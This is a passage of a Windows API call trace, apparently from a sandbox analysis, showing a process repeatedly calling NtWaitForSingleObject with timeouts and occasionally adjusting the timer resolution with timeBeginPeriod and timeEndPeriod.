	[0113.145] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.158] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.171] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.182] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.194] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.218] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.231] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.254] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.282] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.324] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.337] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.347] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.384] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.406] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.419] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.429] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.441] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.456] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.468] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.478] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.494] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.505] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.520] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.548] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.560] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.592] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.605] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.623] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.651] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.679] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.692] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.703] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.714] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.727] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.738] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.751] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.763] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.796] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.808] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.820] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.832] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.842] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.855] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.911] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.921] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.931] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.963] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.975] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0113.995] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0113.995] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0113.995] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0113.995] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.013] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.020] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.021] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.022] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.024] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.030] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.044] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.060] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.082] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.099] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.102] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.105] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.112] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.115] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.118] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.122] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.125] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.126] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.136] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.145] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.149] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.151] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.157] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.161] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.167] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.171] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.180] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.183] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.191] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.194] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.205] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.209] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.211] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.217] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.221] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.240] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.245] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.246] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.249] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.259] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.297] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.323] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.336] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.357] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.385] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.396] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.415] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.452] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.473] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.543] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.553] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.578] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.596] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.628] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.642] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.662] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.677] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.694] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.710] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.753] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.764] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0114.764] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0114.765] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0114.765] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.776] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.786] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.791] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.797] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.801] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.806] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.810] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.815] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.819] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.822] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.829] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.840] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.840] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.851] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.863] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.867] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.876] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.881] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.890] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.898] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.902] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.905] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.916] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.920] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.926] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.936] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.945] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.953] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.956] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.961] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.964] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.964] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.986] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.987] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0114.996] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.003] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.005] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.014] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.018] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.062] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.062] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.077] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.088] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.092] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.113] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.113] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0115.113] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0115.114] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0115.114] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.124] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.124] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.134] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.137] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.146] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.149] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.151] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.156] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.157] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.159] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.160] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.162] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.170] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.203] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.206] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.210] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.217] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.219] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.220] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.223] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.231] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.234] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.255] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.260] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.269] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.278] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.283] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.293] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.301] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.312] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.316] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.327] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.338] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.344] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.346] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.351] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.359] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.372] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.379] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.414] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.433] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.449] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.461] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.481] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.492] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0115.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
